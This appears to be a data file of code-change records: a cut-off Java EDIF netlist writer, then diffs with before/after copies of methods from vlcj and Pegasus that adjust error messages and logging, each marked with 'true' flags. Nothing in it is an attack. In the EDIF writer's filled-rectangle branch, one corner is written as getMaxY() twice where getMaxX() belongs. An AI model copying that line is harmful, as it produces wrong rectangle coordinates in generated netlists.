String name = null; Variable var = varPoly.getVariable(); if (var != null) name = var.getTrueName(); else { if (varPoly.getName() != null) name = defaultVarName; } if (name == null) continue; if (prevtrans != null) varPoly.transform(prevtrans); // make sure poly type is some kind of text if (!varPoly.getStyle().isText()) { TextDescriptor td = var.getTextDescriptor(); if (td != null) { Poly.Type style = td.getPos().getPolyType(); varPoly.setStyle(style); } } if (varPoly.getString() == null) varPoly.setString(var.getObject().toString()); blockOpen("property"); blockPutIdentifier(name); blockOpen("string"); writeSymbolPoly(varPoly); blockClose("property"); } } private void setGraphic(EGraphic type) { if (type == EGUNKNOWN) { // terminate the figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = EGUNKNOWN; } else if (egraphic_override == EGUNKNOWN) { // normal case if (type != egraphic) { // new egraphic type if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = type; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } else if (egraphic != egraphic_override) { // override figure if (egraphic != EGUNKNOWN) blockClose("figure"); egraphic = egraphic_override; blockOpen("figure"); blockPutIdentifier(egraphic.getText()); } } /** * Method to write polys into EDIF syntax */ private void writeSymbolPoly(Poly obj) { // now draw the polygon Poly.Type type = obj.getStyle(); Point2D [] points = obj.getPoints(); if (type == Poly.Type.CIRCLE || type == Poly.Type.DISC || type == Poly.Type.THICKCIRCLE) { setGraphic(EGART); double i = points[0].distance(points[1]); blockOpen("circle"); writePoint(points[0].getX() - i, points[0].getY()); writePoint(points[0].getX() + i, points[0].getY()); blockClose("circle"); return; } if (type == Poly.Type.CIRCLEARC || type == Poly.Type.THICKCIRCLEARC) { setGraphic(EGART); // arcs at [i] points [1+i] [2+i] clockwise if (points.length == 0) return; if ((points.length % 3) != 0) return; for (int i = 0; i < points.length; i += 3) { blockOpen("openShape"); blockOpen("curve"); blockOpen("arc"); writePoint(points[i + 1].getX(), points[i + 1].getY()); // calculate a point between the first and second point Point2D si = GenMath.computeArcCenter(points[i], points[i + 1], points[i + 2]); writePoint(si.getX(), si.getY()); writePoint(points[i + 2].getX(), points[i + 2].getY()); blockClose("openShape"); } return; } if (type == Poly.Type.FILLED || type == Poly.Type.CLOSED) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxY(), bounds.getMaxY()); blockClose("rectangle"); } } else { setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); if (points.length > 2) writePoint(points[0].getX(), points[0].getY()); blockClose("path"); } return; } if (type.isText()) { if (CadenceProperties && obj.getVariable() != null) { // Properties in Cadence do not have position info, Cadence // determines position automatically and cannot be altered by user. // There also does not seem to be any way to set the 'display' so // that it shows up on the instance String str = convertElectricPropToCadence(obj.getString()); str = str.replaceAll("\"", "%34%"); blockPutString(str); return; } Rectangle2D bounds = obj.getBounds2D(); setGraphic(EGUNKNOWN); blockOpen("stringDisplay"); String str = obj.getString().replaceAll("\"", "%34%"); blockPutString(str); blockOpen("display"); TextDescriptor td = obj.getTextDescriptor(); if (td != null) { blockOpen("figureGroupOverride"); blockPutIdentifier(EGART.getText()); // output the text height blockOpen("textHeight"); // 2 pixels = 0.0278 in or 36 double pixels per inch double height = getTextHeight(td); blockPutInteger(height); blockClose("figureGroupOverride"); } else { blockPutIdentifier(EGART.getText()); } if (type == Poly.Type.TEXTCENT) blockPut("justify", "CENTERCENTER"); else if (type == Poly.Type.TEXTTOP) blockPut("justify", "LOWERCENTER"); else if (type == Poly.Type.TEXTBOT) blockPut("justify", "UPPERCENTER"); else if (type == Poly.Type.TEXTLEFT) blockPut("justify", "CENTERRIGHT"); else if (type == Poly.Type.TEXTRIGHT) blockPut("justify", "CENTERLEFT"); else if (type == Poly.Type.TEXTTOPLEFT) blockPut("justify", "LOWERRIGHT"); else if (type == Poly.Type.TEXTBOTLEFT) blockPut("justify", "UPPERRIGHT"); else if (type == Poly.Type.TEXTTOPRIGHT) blockPut("justify", "LOWERLEFT"); else if (type == Poly.Type.TEXTBOTRIGHT) blockPut("justify", "UPPERLEFT"); blockPut("orientation", "R0"); blockOpen("origin"); writePoint(bounds.getMinX(), bounds.getMinY()); blockClose("stringDisplay"); return; } if (type == Poly.Type.OPENED || type == Poly.Type.OPENEDT1 || type == Poly.Type.OPENEDT2 || type == Poly.Type.OPENEDT3) { // check for closed 4 sided figure if (points.length == 5 && points[4].getX() == points[0].getX() && points[4].getY() == points[0].getY()) { Rectangle2D bounds = obj.getBox(); if (bounds != null) { // simple rectangular box if (bounds.getWidth() == 0 && bounds.getHeight() == 0) { if (egraphic_override == EGUNKNOWN) return; setGraphic(EGART); blockOpen("dot"); writePoint(bounds.getCenterX(), bounds.getCenterY()); blockClose("dot"); } else { setGraphic(EGART); blockOpen("rectangle"); writePoint(bounds.getMinX(), bounds.getMinY()); writePoint(bounds.getMaxX(), bounds.getMaxY()); blockClose("rectangle"); } return; } } setGraphic(EGART); blockOpen("path"); blockOpen("pointList"); for (int i = 0; i < points.length; i++) writePoint(points[i].getX(), points[i].getY()); blockClose("path"); return; } if (type == Poly.Type.VECTORS) { setGraphic(EGART); for (int i = 0; i < points.length; i += 2) { blockOpen("path"); blockOpen("pointList"); writePoint(points[i].getX(), points[i].getY()); writePoint(points[i + 1].getX(), points[i + 1].getY()); blockClose("path"); } return; } } private void writeFigureGroup(EGraphic graphic) { blockOpen("figureGroup"); blockPutIdentifier(graphic.getText()); blockClose("figureGroup"); } private void writeScale(Technology tech) { //double meters_to_lambda = TextUtils.convertDistance(1, tech, TextUtils.UnitScale.NONE); blockOpen("scale"); blockPutInteger(160); blockPutDouble(0.0254); blockPut("unit", "DISTANCE"); blockClose("scale"); } private double getTextHeight(TextDescriptor td) { double size = 2; // default if (td != null) { size = td.getSize().getSize(); if (!td.getSize().isAbsolute()) { size = size * 2; } } // 2 pixels = 0.0278 in or 36 double pixels per inch double height = size * 10 / 36; return scaleValue(height); } private static final Pattern atPat = Pattern.compile("@(\\w+)"); private static final Pattern pPat = Pattern.compile("(P|PAR)\\(\"(\\w+)\"\\)"); /** * Convert a property in Electric, with parameter passing, to * Cadence parameter passing syntax * @param prop the expression * @return an equivalent expression in Cadence */ public static String convertElectricPropToCadence(String prop) { StringBuffer sb = new StringBuffer(); Matcher atMat = atPat.matcher(prop); while (atMat.find()) { atMat.appendReplacement(sb, "P(\""+atMat.group(1)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pPat.matcher(prop); while (pMat.find()) { String c = "+"; // default if (pMat.group(1).equals("PAR")) c = "@"; pMat.appendReplacement(sb, "["+c+pMat.group(2)+"]"); } pMat.appendTail(sb); return sb.toString(); } private static final Pattern pparPat = Pattern.compile("(pPar|iPar|atPar|dotPar|_Par)\\(\"(\\w+)\"\\)"); private static final Pattern bPat = Pattern.compile("\\[([~+.@])(\\w+)\\]"); /** * Convert a property in Cadence, with parameter passing, to * Electric parameter passing syntax * @param prop the expression * @return an equivalent expression in Electric */ public static String convertCadencePropToElectric(String prop) { String origProp = prop; StringBuffer sb = new StringBuffer(); Matcher atMat = bPat.matcher(prop); while (atMat.find()) { String call = "pPar"; if (atMat.group(1).equals("+")) call = "pPar"; else if (atMat.group(1).equals("@")) call = "atPar"; else { System.out.println("Warning converting properties: Electric does not support \"["+atMat.group(1)+"param], using [+param] instead, in "+origProp); } //if (atMat.group(1).equals("~")) call = "iPar"; //if (atMat.group(1).equals(".")) call = "dotPar"; atMat.appendReplacement(sb, call+"(\""+atMat.group(2)+"\")"); } atMat.appendTail(sb); prop = sb.toString(); sb = new StringBuffer(); Matcher pMat = pparPat.matcher(prop); while (pMat.find()) { String c = "P"; // default if (pMat.group(1).equals("pPar")) c = "P"; else if (pMat.group(1).equals("atPar")) c = "PAR"; else { System.out.println("Warning converting properties: Electric does not support \"["+pMat.group(1)+"param], using pPar instead, in "+origProp); } pMat.appendReplacement(sb, c+"(\""+pMat.group(2)+"\")"); } pMat.appendTail(sb); return sb.toString(); } /****************************** LOW-LEVEL BLOCK OUTPUT METHODS ******************************/ /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword) { blockOpen(keyword, true); } /** * Will open a new keyword block, will indent the new block * depending on depth of the keyword */ private void blockOpen(String keyword, boolean startOnNewLine) { if (blkstack_ptr > 0 && startOnNewLine) printWriter.print("\n"); // output the new block blkstack[blkstack_ptr++] = keyword; // output the keyword String blanks = startOnNewLine ? getBlanks(blkstack_ptr-1) : " "; printWriter.print(blanks + "( " + keyword); } /** * Will output a one identifier block */ private void blockPut(String keyword, String identifier) { // output the new block if (blkstack_ptr != 0) printWriter.print("\n"); // output the keyword printWriter.print(getBlanks(blkstack_ptr) + "( " + keyword + " " + identifier + " )"); } /** * Will output a string identifier to the file */ private void blockPutIdentifier(String str) { printWriter.print(" " + str); } /** * Will output a quoted string to the file */ private void blockPutString(String str) { printWriter.print(" \"" + str + "\""); } /** * Will output an integer to the edif file */ private void blockPutInteger(double val) { printWriter.print(" " + TextUtils.formatDouble(val)); } /** * Will output a floating value to the edif file */ private static DecimalFormat decimalFormatScientific = null; private void blockPutDouble(double val) { if (decimalFormatScientific == null) { decimalFormatScientific = new DecimalFormat("########E0"); decimalFormatScientific.setGroupingUsed(false); } String ret = decimalFormatScientific.format(val).replace('E', ' '); ret = ret.replaceAll("\\.[0-9]+", ""); printWriter.print(" ( e " + ret + " )"); } private void blockClose(String keyword) { if (blkstack_ptr == 0) return; int depth = 1; if (keyword != null) { // scan for this saved keyword for (depth = 1; depth <= blkstack_ptr; depth++) { if (blkstack[blkstack_ptr - depth].equals(keyword)) break; } if (depth > blkstack_ptr) { System.out.println("EDIF output: could not match keyword <" + keyword + ">"); return; } } // now terminate and free keyword list do { blkstack_ptr--; printWriter.print(" )"); } while ((--depth) > 0); } /** * Method to terminate all currently open blocks. */ private void blockFinish() { if (blkstack_ptr > 0) { blockClose(blkstack[0]); } printWriter.print("\n"); } private int blkstack_ptr; private String [] blkstack = new String[50]; private String getBlanks(int num) { StringBuffer sb = new StringBuffer(); for(int i=0; i<num; i++) sb.append(' '); return sb.toString(); } /****************************** SUBCLASSED METHODS FOR THE TOPOLOGY ANALYZER ******************************/ /** * Method to adjust a cell name to be safe for EDIF output. * @param name the cell name. * @return the name, adjusted for EDIF output. */ protected String getSafeCellName(String name) { return name; } /** Method to return the proper name of Power */ protected String getPowerName(Network net) { return "VDD"; } /** Method to return the proper name of Ground */ protected String getGroundName(Network net) { return "GND"; } /** Method to return the proper name of a Global signal */ protected String getGlobalName(Global glob) { return glob.getName(); } /** Method to report that export names DO take precedence over * arc names when determining the name of the network. */ protected boolean isNetworksUseExportedNames() { return true; } /** Method to report that library names ARE always prepended to cell names. */ protected boolean isLibraryNameAlwaysAddedToCellName() { return false; } /** Method to report that aggregate names (busses) ARE used. */ protected boolean isAggregateNamesSupported() { return true; } /** Method to report whether input and output names are separated. */ protected boolean isSeparateInputAndOutput() { return true; } /** * Method to adjust a network name to be safe for EDIF output. */ protected String getSafeNetName(String name, boolean bus) { return name; } /** Tell the Hierarchy enumerator whether or not to short parasitic resistors */ protected boolean isShortResistors() { return false; } /** Tell the Hierarchy enumerator whether or not to short explicit (poly) resistors */ protected boolean isShortExplicitResistors() { return false; } /** * Method to tell whether the topological analysis should mangle cell names that are parameterized. */ protected boolean canParameterizeNames() { return false; } }
diff --git a/vlcj/src/main/java/uk/co/caprica/vlcj/binding/LibVlcFactory.java b/vlcj/src/main/java/uk/co/caprica/vlcj/binding/LibVlcFactory.java index e1a761ff..436d91ea 100644 --- a/vlcj/src/main/java/uk/co/caprica/vlcj/binding/LibVlcFactory.java +++ b/vlcj/src/main/java/uk/co/caprica/vlcj/binding/LibVlcFactory.java @@ -1,209 +1,212 @@ /* * This file is part of VLCJ. * * VLCJ is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * VLCJ is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with VLCJ. If not, see <http://www.gnu.org/licenses/>. * * Copyright 2009, 2010, 2011 Caprica Software Limited. */ package uk.co.caprica.vlcj.binding; import java.lang.reflect.Proxy; import java.text.MessageFormat; import uk.co.caprica.vlcj.logger.Logger; import uk.co.caprica.vlcj.runtime.RuntimeUtil; import uk.co.caprica.vlcj.version.Version; /** * A factory that creates interfaces to the libvlc native library. * <p> * For example: * <pre> * LibVlc libvlc = LibVlcFactory.factory().create(); * </pre> * Or: * <pre> * LibVlc libvlc = LibVlcFactory.factory().atLeast("1.2.0").log().create(); * </pre> */ public class LibVlcFactory { /** * Help text if the native library failed to load. */ private static final String NATIVE_LIBRARY_HELP = "Failed to load the native library.\n\n" + "The error was \"{0}\".\n\n" + "The required native libraries are named \"{1}\" and \"{2}\".\n\n" + "In the text below <libvlc-path> represents the name of the directory containing \"{1}\" and \"{2}\"...\n\n" + "There are a number of different ways to specify where to find the native libraries:\n" + " 1. Include NativeLibrary.addSearchPath(\"{3}\", \"<libvlc-path>\"); at the start of your application code.\n" + " 2. Include System.setProperty(\"jna.library.path\", \"<libvlc-path>\"); at the start of your application code.\n" + " 3. Specify -Djna.library.path=<libvlc-path> on the command-line when starting your application.\n" + " 4. Add <libvlc-path> to the system search path (and reboot).\n\n" + "If this still does not work, then it may be necessary to explicitly add the native library directory to the operating\n" + "system configuration - e.g. on Linux this might mean setting the LD_LIBRARY_PATH environment variable, or adding\n" + "configuration to the \"/etc/ld.so.conf\" file or the \"/etc/ld.so.conf.d\" directory. Of these options, setting\n" + "LD_LIBRARY_PATH is the only one that would not require root privileges.\n\n" + "More information may be available in the log, specify -Dvlcj.log=DEBUG on the command-line when starting your application.\n"; /** * True if the access to the native library should be synchronised. */ private boolean synchronise; /** * True if the access to the native library should be logged. */ private boolean log; /** * At least this native library version is required. */ private Version requiredVersion; /** * Private constructor prevents direct instantiation by others. */ private LibVlcFactory() { } /** * Create a new factory instance * * @return factory */ public static LibVlcFactory factory() { return new LibVlcFactory(); } /** * Request that the libvlc native library instance be synchronised. * * @return factory */ public LibVlcFactory synchronise() { this.synchronise = true; return this; } /** * Request that the libvlc native library instance be logged. * * @return factory */ public LibVlcFactory log() { this.log = true; return this; } /** * Request that the libvlc native library be of at least a particular version. * <p> * The version check can be disabled by specifying the following system * property: * <pre> * -Dvlcj.check=no * </pre> * * @param version required version * @return factory */ public LibVlcFactory atLeast(String version) { this.requiredVersion = new Version(version); return this; } /** * Create a new libvlc native library instance. * * @return native library instance * @throws RuntimeException if a minimum version check was specified and failed */ public LibVlc create() { // Synchronised or not... try { LibVlc instance = synchronise ? LibVlc.SYNC_INSTANCE : LibVlc.INSTANCE; // Logged... if(log) { instance = (LibVlc)Proxy.newProxyInstance(LibVlc.class.getClassLoader(), new Class<?>[] {LibVlc.class}, new LoggingProxy(instance)); } String nativeVersion = instance.libvlc_get_version(); Logger.info("vlc: {}, changeset {}", nativeVersion, LibVlc.INSTANCE.libvlc_get_changeset()); Logger.info("libvlc: {}", getNativeLibraryPath(instance)); if(requiredVersion != null) { Version actualVersion; try { actualVersion = new Version(nativeVersion); } catch(Throwable t) { Logger.error("Unable to parse native library version {} because of {}", nativeVersion, t); actualVersion = null; } if(actualVersion != null) { if(!actualVersion.atLeast(requiredVersion)) { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("This version of vlcj requires version {} or later of libvlc, found too old version {}", requiredVersion, actualVersion); - Logger.fatal("You can suppress this check by specifying -Dvlcj.check=no but some functionality will be unavailable and cause failures"); - throw new RuntimeException("This version of vlcj requires version " + requiredVersion + " or later of libvlc, found too old version " + actualVersion); + Logger.fatal("You can suppress this version check by specifying -Dvlcj.check=no but some functionality will be unavailable and may cause failures"); + throw new RuntimeException( + "This version of vlcj requires version " + requiredVersion + " or later of libvlc, found too old version " + actualVersion + ". " + + "You can suppress this version check by specifying -Dvlcj.check=no but some functionality will be unavailable and may cause failures." + ); } else { Logger.warn("This version of vlcj requires version {} or later of libvlc, found too old version {}. Fatal run-time failures may occur.", requiredVersion, actualVersion); } } } else { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("Unable to check the native library version '{}'", nativeVersion); Logger.fatal("You can suppress this check by specifying -Dvlcj.check=no but some functionality will be unavailable and cause failures"); throw new RuntimeException("Unable to check the native library version " + nativeVersion); } else { Logger.warn("Unable to check the native library version '{}'. Fatal run-time failures may occur.", nativeVersion); } } } return instance; } catch(UnsatisfiedLinkError e) { Logger.error("Failed to load native library"); String msg = MessageFormat.format(NATIVE_LIBRARY_HELP, new Object[] {e.getMessage(), RuntimeUtil.getLibVlcName(), RuntimeUtil.getLibVlcCoreName(), RuntimeUtil.getLibVlcLibraryName()}); throw new RuntimeException(msg); } } /** * Parse out the complete file path of the native library. * <p> * This depends on the format of the toString() of the JNA implementation * class. * * @param library native library instance * @return native library path, or simply the toString of the instance if the path could not be parsed out */ private static String getNativeLibraryPath(Object library) { String s = library.toString(); int start = s.indexOf('<'); if(start != -1) { start++; int end = s.indexOf('@', start); if(end != -1) { s = s.substring(start, end); return s; } } return s; } }
true
true
public LibVlc create() { // Synchronised or not... try { LibVlc instance = synchronise ? LibVlc.SYNC_INSTANCE : LibVlc.INSTANCE; // Logged... if(log) { instance = (LibVlc)Proxy.newProxyInstance(LibVlc.class.getClassLoader(), new Class<?>[] {LibVlc.class}, new LoggingProxy(instance)); } String nativeVersion = instance.libvlc_get_version(); Logger.info("vlc: {}, changeset {}", nativeVersion, LibVlc.INSTANCE.libvlc_get_changeset()); Logger.info("libvlc: {}", getNativeLibraryPath(instance)); if(requiredVersion != null) { Version actualVersion; try { actualVersion = new Version(nativeVersion); } catch(Throwable t) { Logger.error("Unable to parse native library version {} because of {}", nativeVersion, t); actualVersion = null; } if(actualVersion != null) { if(!actualVersion.atLeast(requiredVersion)) { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("This version of vlcj requires version {} or later of libvlc, found too old version {}", requiredVersion, actualVersion); Logger.fatal("You can suppress this check by specifying -Dvlcj.check=no but some functionality will be unavailable and cause failures"); throw new RuntimeException("This version of vlcj requires version " + requiredVersion + " or later of libvlc, found too old version " + actualVersion); } else { Logger.warn("This version of vlcj requires version {} or later of libvlc, found too old version {}. Fatal run-time failures may occur.", requiredVersion, actualVersion); } } } else { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("Unable to check the native library version '{}'", nativeVersion); Logger.fatal("You can suppress this check by specifying -Dvlcj.check=no but some functionality will be unavailable and cause failures"); throw new RuntimeException("Unable to check the native library version " + nativeVersion); } else { Logger.warn("Unable to check the native library version '{}'. Fatal run-time failures may occur.", nativeVersion); } } } return instance; } catch(UnsatisfiedLinkError e) { Logger.error("Failed to load native library"); String msg = MessageFormat.format(NATIVE_LIBRARY_HELP, new Object[] {e.getMessage(), RuntimeUtil.getLibVlcName(), RuntimeUtil.getLibVlcCoreName(), RuntimeUtil.getLibVlcLibraryName()}); throw new RuntimeException(msg); } }
public LibVlc create() { // Synchronised or not... try { LibVlc instance = synchronise ? LibVlc.SYNC_INSTANCE : LibVlc.INSTANCE; // Logged... if(log) { instance = (LibVlc)Proxy.newProxyInstance(LibVlc.class.getClassLoader(), new Class<?>[] {LibVlc.class}, new LoggingProxy(instance)); } String nativeVersion = instance.libvlc_get_version(); Logger.info("vlc: {}, changeset {}", nativeVersion, LibVlc.INSTANCE.libvlc_get_changeset()); Logger.info("libvlc: {}", getNativeLibraryPath(instance)); if(requiredVersion != null) { Version actualVersion; try { actualVersion = new Version(nativeVersion); } catch(Throwable t) { Logger.error("Unable to parse native library version {} because of {}", nativeVersion, t); actualVersion = null; } if(actualVersion != null) { if(!actualVersion.atLeast(requiredVersion)) { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("This version of vlcj requires version {} or later of libvlc, found too old version {}", requiredVersion, actualVersion); Logger.fatal("You can suppress this version check by specifying -Dvlcj.check=no but some functionality will be unavailable and may cause failures"); throw new RuntimeException( "This version of vlcj requires version " + requiredVersion + " or later of libvlc, found too old version " + actualVersion + ". " + "You can suppress this version check by specifying -Dvlcj.check=no but some functionality will be unavailable and may cause failures." ); } else { Logger.warn("This version of vlcj requires version {} or later of libvlc, found too old version {}. Fatal run-time failures may occur.", requiredVersion, actualVersion); } } } else { if(!"no".equalsIgnoreCase(System.getProperty("vlcj.check"))) { Logger.fatal("Unable to check the native library version '{}'", nativeVersion); Logger.fatal("You can suppress this check by specifying -Dvlcj.check=no but some functionality will be unavailable and cause failures"); throw new RuntimeException("Unable to check the native library version " + nativeVersion); } else { Logger.warn("Unable to check the native library version '{}'. Fatal run-time failures may occur.", nativeVersion); } } } return instance; } catch(UnsatisfiedLinkError e) { Logger.error("Failed to load native library"); String msg = MessageFormat.format(NATIVE_LIBRARY_HELP, new Object[] {e.getMessage(), RuntimeUtil.getLibVlcName(), RuntimeUtil.getLibVlcCoreName(), RuntimeUtil.getLibVlcLibraryName()}); throw new RuntimeException(msg); } }
diff --git a/src/org/griphyn/cPlanner/toolkit/PartitionDAX.java b/src/org/griphyn/cPlanner/toolkit/PartitionDAX.java index 788779413..b8514b319 100644 --- a/src/org/griphyn/cPlanner/toolkit/PartitionDAX.java +++ b/src/org/griphyn/cPlanner/toolkit/PartitionDAX.java @@ -1,350 +1,350 @@ /* * This file or a portion of this file is licensed under the terms of * the Globus Toolkit Public License, found in file GTPL, or at * http://www.globus.org/toolkit/download/license.html. This notice must * appear in redistributions of this file, with or without modification. * * Redistributions of this Software, with or without modification, must * reproduce the GTPL in: (1) the Software, or (2) the Documentation or * some other similar material which is provided with the Software (if * any). * * Copyright 1999-2004 University of Chicago and The University of * Southern California. All rights reserved. */ package org.griphyn.cPlanner.toolkit; import org.griphyn.cPlanner.parser.DaxParser; import org.griphyn.cPlanner.parser.dax.Callback; import org.griphyn.cPlanner.parser.dax.DAX2Graph; import org.griphyn.cPlanner.parser.dax.DAX2LabelGraph; import org.griphyn.cPlanner.parser.dax.DAXCallbackFactory; import org.griphyn.cPlanner.partitioner.WriterCallback; import org.griphyn.cPlanner.partitioner.Partitioner; import org.griphyn.cPlanner.partitioner.PartitionerFactory; import org.griphyn.cPlanner.partitioner.graph.GraphNode; import org.griphyn.cPlanner.common.LogManager; import org.griphyn.cPlanner.common.PegasusProperties; import org.griphyn.common.util.FactoryException; import gnu.getopt.Getopt; import gnu.getopt.LongOpt; import java.io.File; import java.util.Date; import java.util.Map; /** * The class ends up partitioning the dax into smaller daxes according to the * various algorithms/criteria, to be used for deferred planning. * * * @author Karan Vahi * @version $Revision$ */ public class PartitionDAX extends Executable { /** * The name of the default partitioner that is loaded, if none is specified * by the user. */ public static final String DEFAULT_PARTITIONER_TYPE = PartitionerFactory.DEFAULT_PARTITIONING_CLASS; /** * The path to the dax file that is to be partitioned. */ private String mDAXFile; /** * The directory in which the partition daxes are generated. */ private String mDirectory; /** * The type of the partitioner to be used. Is the same as the name of the * implementing class. */ private String mType; /** * The object holding all the properties pertaining to Pegasus. */ private PegasusProperties mProps; /** * The default constructor. */ public PartitionDAX() { mProps = PegasusProperties.nonSingletonInstance(); mDAXFile = null; mDirectory = "."; mType = DEFAULT_PARTITIONER_TYPE; } /** * The main function of the class, that is invoked by the jvm. It calls * the executeCommand function. * * @param args array of arguments. */ public static void main(String[] args){ PartitionDAX pdax = new PartitionDAX(); pdax.executeCommand(args); } /** * Executes the partition dax on the basis of the options given by the * user. * * @param args the arguments array populated by the user options. */ public void executeCommand(String[] args) { int option = 0; LongOpt[] longOptions = generateValidOptions(); Getopt g = new Getopt("PartitionDAX", args, "vhVD:d:t:", longOptions, false); boolean help = false; boolean version = false; //log the starting time double starttime = new Date().getTime(); int level = 0; while ( (option = g.getopt()) != -1) { //System.out.println("Option tag " + option); switch (option) { case 'd': //dax mDAXFile = g.getOptarg(); break; case 'D': //dir mDirectory = g.getOptarg(); break; case 't': //type mType = g.getOptarg(); break; case 'v': //verbose //set the verbose level in the logger level++; break; case 'V': //version version = true; break; case 'h': //help help = true; break; default: //same as help mLogger.log("Unrecognized Option " + Integer.toString(option), LogManager.FATAL_MESSAGE_LEVEL); printShortVersion(); System.exit(1); break; } } if ( level > 0 ) { //set the logging level only if -v was specified //else bank upon the the default logging level mLogger.setLevel( level ); } if ( ( help && version ) || help ) { printLongVersion(); System.exit( 0 ); } else if ( version ) { //print the version message mLogger.log( getGVDSVersion(), LogManager.INFO_MESSAGE_LEVEL ); System.exit( 0 ); } //sanity check for the dax file if ( mDAXFile == null || mDAXFile.length() == 0 ) { mLogger.log( "The dax file that is to be partitioned not " + "specified", LogManager.FATAL_MESSAGE_LEVEL ); printShortVersion(); System.exit(1); } //always try to make the directory //referred to by the directory File dir = new File( mDirectory ); dir.mkdirs(); //build up the partition graph String callbackClass = ( mType.equalsIgnoreCase("label") ) ? "DAX2LabelGraph": //graph with labels populated "DAX2Graph"; //load the appropriate partitioner Callback callback = null; Partitioner partitioner = null; String daxName = null; int state = 0; try{ callback = DAXCallbackFactory.loadInstance( mProps, mDAXFile, callbackClass ); //set the appropriate key that is to be used for picking up the labels if( callback instanceof DAX2LabelGraph ){ ((DAX2LabelGraph)callback).setLabelKey( mProps.getPartitionerLabelKey() ); } state = 1; DaxParser d = new DaxParser( mDAXFile, mProps, callback ); state = 2; //get the graph map Map graphMap = (Map) callback.getConstructedObject(); //get the fake dummy root node GraphNode root = (GraphNode) graphMap.get( DAX2Graph.DUMMY_NODE_ID ); daxName = ( (DAX2Graph) callback).getNameOfDAX(); state = 3; partitioner = PartitionerFactory.loadInstance( mProps, root, graphMap, mType ); } catch ( FactoryException fe){ mLogger.log( fe.convertException() , LogManager.FATAL_MESSAGE_LEVEL); System.exit( 2 ); } catch( Exception e ){ int errorStatus = 1; switch(state){ case 0: mLogger.log( "Unable to load the DAXCallback", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; case 1: - mLogger.log( "Error while parsing the DAX file", + mLogger.log( "Error while parsing the DAX file", e , LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 2: mLogger.log( "Error while determining the root of the parsed DAX", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; case 3: mLogger.log( "Unable to load the partitioner", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 2; break; default: mLogger.log( "Unknown Error", e, LogManager.FATAL_MESSAGE_LEVEL ); errorStatus = 1; break; } System.exit( errorStatus ); } //load the writer callback that writes out //the partitioned daxes and PDAX WriterCallback cb = new WriterCallback(); cb.initialize( mProps, mDAXFile, daxName, mDirectory ); //start the partitioning of the graph partitioner.determinePartitions( cb ); //log the end time and time execute double endtime = new Date().getTime(); double execTime = (endtime - starttime)/1000; mLogger.log("Time taken to execute is " + execTime + " seconds", LogManager.INFO_MESSAGE_LEVEL); System.exit(0); } /** * Generates the short version of the help on the stdout. */ public void printShortVersion() { String text = "\n $Id$ " + "\n" + getGVDSVersion() + "\n Usage :partitiondax -d <dax file> [-D <dir for partitioned daxes>] " + " -t <type of partitioning to be used> [-v] [-V] [-h]"; mLogger.log(text,LogManager.ERROR_MESSAGE_LEVEL); } /** * Generated the long version of the help on the stdout. */ public void printLongVersion() { String text = "\n " + getGVDSVersion() + "\n CPlanner/partitiondax - The tool that is used to partition the dax " + "\n into smaller daxes for use in deferred planning." + "\n " + "\n Usage :partitiondax --dax <dax file> [--dir <dir for partitioned daxes>] " + "\n --type <type of partitioning to be used> [--verbose] [--version] " + "\n [--help]" + "\n" + "\n Mandatory Options " + "\n -d|--dax fn the dax file that has to be partitioned into smaller daxes." + "\n Other Options " + "\n -t|--type type the partitioning technique that is to be used for partitioning." + "\n -D|--dir dir the directory in which the partitioned daxes reside (defaults to " + "\n current directory)"+ "\n -v|--verbose increases the verbosity of messages about what is going on." + "\n -V|--version displays the version number of the Griphyn Virtual Data System." + "\n -h|--help generates this help"; System.out.println(text); } /** * Tt generates the LongOpt which contain the valid options that the command * will accept. * * @return array of <code>LongOpt</code> objects , corresponding to the valid * options */ public LongOpt[] generateValidOptions() { LongOpt[] longopts = new LongOpt[6]; longopts[0] = new LongOpt("dir",LongOpt.REQUIRED_ARGUMENT,null,'D'); longopts[1] = new LongOpt("dax",LongOpt.REQUIRED_ARGUMENT,null,'d'); longopts[2] = new LongOpt("type",LongOpt.REQUIRED_ARGUMENT,null,'t'); longopts[3] = new LongOpt("verbose",LongOpt.NO_ARGUMENT,null,'v'); longopts[4] = new LongOpt("version",LongOpt.NO_ARGUMENT,null,'V'); longopts[5] = new LongOpt("help",LongOpt.NO_ARGUMENT,null,'h'); return longopts; } /** * Loads all the properties that are needed by this class. */ public void loadProperties(){ } }
true
true
